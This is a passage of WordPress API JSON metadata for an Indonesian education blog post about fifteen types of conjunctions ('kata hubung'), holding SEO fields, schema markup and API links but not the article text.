[&hellip;]<\/p>\n","protected":false},"author":43,"featured_media":1559,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_edit_lock":["1750733130:1"],"_edit_last":["1"],"_knawatfibu_url":["https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/f77d1d9c-8977-4001-a2fa-8c4fe56f32a9.png"],"_aioseo_title":[null],"_aioseo_description":["Kata hubung terdiri atas beberapa jenis sesuai fungsinya. Yuk, ketahui jenis-jenisnya, beserta pengertian dan contohnya berikut ini!"],"_aioseo_keywords":["a:0:{}"],"_aioseo_og_title":[null],"_aioseo_og_description":[null],"_aioseo_og_article_section":[""],"_aioseo_og_article_tags":["a:0:{}"],"_aioseo_twitter_title":[null],"_aioseo_twitter_description":[null],"_linker_next_update":["1769393736"],"_yoast_wpseo_metadesc":["Kata hubung terdiri atas beberapa jenis sesuai fungsinya. Yuk, ketahui jenis-jenisnya, beserta pengertian dan contohnya berikut ini!"]},"categories":[1],"tags":[],"class_list":["post-1559","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-uncategorized"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v25.9 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>15 Jenis Kata Hubung, Lengkap dengan Contoh dan Pengertian<\/title>\n<meta name=\"description\" content=\"Kata hubung terdiri atas beberapa jenis sesuai fungsinya. Yuk, ketahui jenis-jenisnya, beserta pengertian dan contohnya berikut ini!\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.altaglobalschool.com\/blog\/kata-hubung\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"15 Jenis Kata Hubung, Lengkap dengan Contoh dan Pengertian\" \/>\n<meta property=\"og:description\" content=\"Kata hubung terdiri atas beberapa jenis sesuai fungsinya. Yuk, ketahui jenis-jenisnya, beserta pengertian dan contohnya berikut ini!\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.altaglobalschool.com\/blog\/kata-hubung\" \/>\n<meta property=\"og:site_name\" content=\"Informasi Seputar Pengasuhan dan Pendidikan Anak Usia Dini\" \/>\n<meta property=\"article:published_time\" content=\"2025-06-24T02:00:24+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2026-01-19T23:25:46+00:00\" \/>\n<meta name=\"author\" content=\"Devi Lianovanda\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Devi Lianovanda\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"6 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/kata-hubung\",\"url\":\"https:\/\/www.altaglobalschool.com\/blog\/kata-hubung\",\"name\":\"15 Jenis Kata Hubung, Lengkap dengan Contoh dan Pengertian\",\"isPartOf\":{\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/kata-hubung#primaryimage\"},\"image\":{\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/kata-hubung#primaryimage\"},\"thumbnailUrl\":\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/f77d1d9c-8977-4001-a2fa-8c4fe56f32a9.png\",\"datePublished\":\"2025-06-24T02:00:24+00:00\",\"dateModified\":\"2026-01-19T23:25:46+00:00\",\"author\":{\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/#\/schema\/person\/6dcd20383b39caa2c9674d08b39fc6ac\"},\"description\":\"Kata hubung terdiri atas beberapa jenis sesuai fungsinya. Yuk, ketahui jenis-jenisnya, beserta pengertian dan contohnya berikut ini!\",\"breadcrumb\":{\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/kata-hubung#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.altaglobalschool.com\/blog\/kata-hubung\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/kata-hubung#primaryimage\",\"url\":\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/f77d1d9c-8977-4001-a2fa-8c4fe56f32a9.png\",\"contentUrl\":\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/f77d1d9c-8977-4001-a2fa-8c4fe56f32a9.png\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/kata-hubung#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/www.altaglobalschool.com\/blog\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"15 Jenis Kata Hubung, Lengkap dengan Contoh dan Pengertian\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/#website\",\"url\":\"https:\/\/www.altaglobalschool.com\/blog\/\",\"name\":\"Informasi Seputar Pengasuhan dan Pendidikan Anak Usia Dini\",\"description\":\"\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.altaglobalschool.com\/blog\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/#\/schema\/person\/6dcd20383b39caa2c9674d08b39fc6ac\",\"name\":\"Devi Lianovanda\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/51a9ca0e620f8e70168b31d6ee1335470844b915acc41b0e5e6211181acd871e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/51a9ca0e620f8e70168b31d6ee1335470844b915acc41b0e5e6211181acd871e?s=96&d=mm&r=g\",\"caption\":\"Devi Lianovanda\"},\"url\":\"https:\/\/www.altaglobalschool.com\/blog\/author\/devi-lianovanda\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"15 Jenis Kata Hubung, Lengkap dengan Contoh dan Pengertian","description":"Kata hubung terdiri atas beberapa jenis sesuai fungsinya. Yuk, ketahui jenis-jenisnya, beserta pengertian dan contohnya berikut ini!","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.altaglobalschool.com\/blog\/kata-hubung","og_locale":"en_US","og_type":"article","og_title":"15 Jenis Kata Hubung, Lengkap dengan Contoh dan Pengertian","og_description":"Kata hubung terdiri atas beberapa jenis sesuai fungsinya. Yuk, ketahui jenis-jenisnya, beserta pengertian dan contohnya berikut ini!","og_url":"https:\/\/www.altaglobalschool.com\/blog\/kata-hubung","og_site_name":"Informasi Seputar Pengasuhan dan Pendidikan Anak Usia Dini","article_published_time":"2025-06-24T02:00:24+00:00","article_modified_time":"2026-01-19T23:25:46+00:00","author":"Devi Lianovanda","twitter_card":"summary_large_image","twitter_misc":{"Written by":"Devi Lianovanda","Est. reading time":"6 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/www.altaglobalschool.com\/blog\/kata-hubung","url":"https:\/\/www.altaglobalschool.com\/blog\/kata-hubung","name":"15 Jenis Kata Hubung, Lengkap dengan Contoh dan Pengertian","isPartOf":{"@id":"https:\/\/www.altaglobalschool.com\/blog\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.altaglobalschool.com\/blog\/kata-hubung#primaryimage"},"image":{"@id":"https:\/\/www.altaglobalschool.com\/blog\/kata-hubung#primaryimage"},"thumbnailUrl":"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/f77d1d9c-8977-4001-a2fa-8c4fe56f32a9.png","datePublished":"2025-06-24T02:00:24+00:00","dateModified":"2026-01-19T23:25:46+00:00","author":{"@id":"https:\/\/www.altaglobalschool.com\/blog\/#\/schema\/person\/6dcd20383b39caa2c9674d08b39fc6ac"},"description":"Kata hubung terdiri atas beberapa jenis sesuai fungsinya. Yuk, ketahui jenis-jenisnya, beserta pengertian dan contohnya berikut ini!","breadcrumb":{"@id":"https:\/\/www.altaglobalschool.com\/blog\/kata-hubung#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.altaglobalschool.com\/blog\/kata-hubung"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.altaglobalschool.com\/blog\/kata-hubung#primaryimage","url":"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/f77d1d9c-8977-4001-a2fa-8c4fe56f32a9.png","contentUrl":"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/f77d1d9c-8977-4001-a2fa-8c4fe56f32a9.png"},{"@type":"BreadcrumbList","@id":"https:\/\/www.altaglobalschool.com\/blog\/kata-hubung#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/www.altaglobalschool.com\/blog"},{"@type":"ListItem","position":2,"name":"15 Jenis Kata Hubung, Lengkap dengan Contoh dan Pengertian"}]},{"@type":"WebSite","@id":"https:\/\/www.altaglobalschool.com\/blog\/#website","url":"https:\/\/www.altaglobalschool.com\/blog\/","name":"Informasi Seputar Pengasuhan dan Pendidikan Anak Usia Dini","description":"","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.altaglobalschool.com\/blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Person","@id":"https:\/\/www.altaglobalschool.com\/blog\/#\/schema\/person\/6dcd20383b39caa2c9674d08b39fc6ac","name":"Devi Lianovanda","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.altaglobalschool.com\/blog\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/51a9ca0e620f8e70168b31d6ee1335470844b915acc41b0e5e6211181acd871e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/51a9ca0e620f8e70168b31d6ee1335470844b915acc41b0e5e6211181acd871e?s=96&d=mm&r=g","caption":"Devi Lianovanda"},"url":"https:\/\/www.altaglobalschool.com\/blog\/author\/devi-lianovanda"}]}},"_links":{"self":[{"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/posts\/1559","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/users\/43"}],"replies":[{"embeddable":true,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/comments?post=1559"}],"version-history":[{"count":3,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/posts\/1559\/revisions"}],"predecessor-version":[{"id":1947,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/posts\/1559\/revisions\/1947"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/posts\/1559"}],"wp:attachment":[{"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/media?parent=1559"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/categories?post=1559"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/tags?post=1559"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}